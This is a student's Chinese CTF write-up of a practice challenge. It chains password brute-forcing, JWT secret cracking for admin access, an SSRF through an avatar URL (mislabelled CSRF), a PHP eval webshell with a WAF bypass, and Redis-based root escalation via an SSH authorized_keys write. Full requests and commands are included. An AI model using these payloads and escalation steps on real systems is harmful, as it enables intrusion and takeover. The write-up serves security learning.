网络安全CTFQLNU-SecWeb小记一下企业员工管理系统 弱口令爆破+JWT越权+CSRF+PHP一句话木马+Redis提权 齐鲁师范学院网络安全社团练习平台
Xiaozhi_z
这道题做了我超级超级久 知识点真的好多 牛逼(主要真的不知道怎么提权 后来才知道Redis这个也能提权 然后悟了 就做出来了 这道题的踩坑记录小记一下!
企业员工管理系统
1 2 3 4 5 6 7 8
| 出题人: Yime | 难度: 中等
这是一个匆忙交付的企业员工管理系统,只包含基础的用户功能。 请尝试发现系统中可能存在的安全问题,不断深入,最终获得Flag。
Hint 1
系统中"普通用户"的用户名为“user”
|
弱口令爆破
这道题我踩坑在Burp了(这台电脑用的社区版 爆破了N久 我一直以为是被学校防火墙拦了 后来发现社区版非常慢!要用专业版
这里根据提示输入user

使用Burp的爆破功能爆破 用Top10000密码字典就好

得到user的密码为password123
JWT越权
使用user账户登录 查看cookie时发现为jwt

去jwt解密网站看到了签名方式为HS256

猜测为对称密钥弱口令 使用hashcat进行爆破 将jwt保存到jwt.hash文件

得到对称密钥为admin123 在同样的网站 输入对称密钥admin123 然后把role改为admin进行越权

记得点击编码 把编码后的jwt 当作cookie 用hackbar进行测试 越权成功!

CSRF
使用dirsearch 来扫一下有没有特殊的目录

看到了/test目录 再次扫描/test目录 找到了一个之前测试的上传接口!

尝试访问这个路径 发现没办法访问 显示要使用本地访问

管理员权限下有修改头像的点 这里正好有一个输入url的点

构造一个http://127.0.0.1/test/upload.php url先尝试发送 看一下回显结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /profile.php HTTP/1.1 Host: challenge.qlnu-sec.cn:9510 Content-Length: 74 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Origin: http://challenge.qlnu-sec.cn:9510 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.qlnu-sec.cn:9510/profile.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=304d0c07b516c0156e26fe14fe67bb63; jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY2OTc3NDg2LCJleHAiOjE3NjY5ODEwODZ9.umawTL-mnCHkvI-ZnERK5NyM_X9upywk_DmvqSWjUwQ Connection: keep-alive
target_username=user&avatar_url=http%3A%2F%2F127.0.0.1%2Ftest%2Fupload.php
|
上传成功

把头像文件下载下来可以看到里面有接口的详细介绍

PHP一句话木马上传
使用刚刚的上传接口 构建一个php一句话木马的URL 尝试一下
1
| http://127.0.0.1/test/upload.php?content=<?php @eval($_POST['attack']);?>&filename=1.php
|

尝试绕WAF的时候发现应该是 看到php的字符串就会拦截 用以下方式绕过就好啦
1
| http://127.0.0.1/test/upload.php?content=<?@eval($_POST['a']);?>&filename=1.php
|
Burp发包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /profile.php HTTP/1.1 Host: challenge.qlnu-sec.cn:9510 Content-Length: 155 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Origin: http://challenge.qlnu-sec.cn:9510 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.qlnu-sec.cn:9510/profile.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=304d0c07b516c0156e26fe14fe67bb63; jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY2OTc3NDg2LCJleHAiOjE3NjY5ODEwODZ9.umawTL-mnCHkvI-ZnERK5NyM_X9upywk_DmvqSWjUwQ Connection: keep-alive
target_username=user&avatar_url=http%3A%2F%2F127.0.0.1%2Ftest%2Fupload.php%3Fcontent%3D%3C%3F%40eval%28%24_POST%5B%27a%27%5D%29%3B%3F%3E%26filename%3D1.php
|
用蚁剑链接一下 get低权限shell成功

Redis提权
我真的没想到用Redis提权(长知识了 我一开始把精力放在变成交互式shell了(然后发现方向错了
用蚁剑的虚拟终端连上 先生成ssh密钥对
1
| ssh-keygen -t rsa -f redis_key
|

公钥前后加上空行
1
| (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > 1.txt
|
写入公钥到redis
1
| cat 1.txt | redis-cli -h 127.0.0.1 -x set crack
|
查看写入情况
1
| redis-cli -h 127.0.0.1 get crack
|

设置保存文件的位置
1
| redis-cli -h 127.0.0.1 config set dir /root/.ssh
|
设置文件名
1
| redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
|
保存即可
1
| redis-cli -h 127.0.0.1 save
|

用ssh链接 发现提权成功
1
| ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i redis_key root@127.0.0.1 'whoami'
|

最后getflag
